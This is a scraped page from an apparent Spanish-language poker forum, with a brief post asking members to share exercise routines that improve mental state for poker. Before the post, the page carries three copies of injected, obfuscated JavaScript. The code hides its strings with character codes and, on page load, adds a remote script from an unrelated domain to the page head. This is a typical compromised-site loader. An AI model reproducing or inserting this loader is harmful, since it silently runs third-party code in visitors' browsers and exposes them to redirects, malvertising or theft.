Comparte tu rutina de entrenamiento para mejorar tu estado mental. – Dietas y entrenamiento – Allin Poker Foro Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
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Comparte tu rutina de entrenamiento para mejorar tu estado mental.  

 

barbacoa
(@barbacoa)
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Joined: 1 month ago
Posts: 14
21/11/2020 4:07 am  

Saludos a todos tengo una duda sobre este tema ya que me han recomendado tener una rutina de ejercicio diaria ya que puede mejorar el estado mental y animo lo que ayudaría al juego mental en las mesas.

¿Tienen alguna rutina de ejercicio que acompañe su juego? ¿Podrían compartirla con nosotros?


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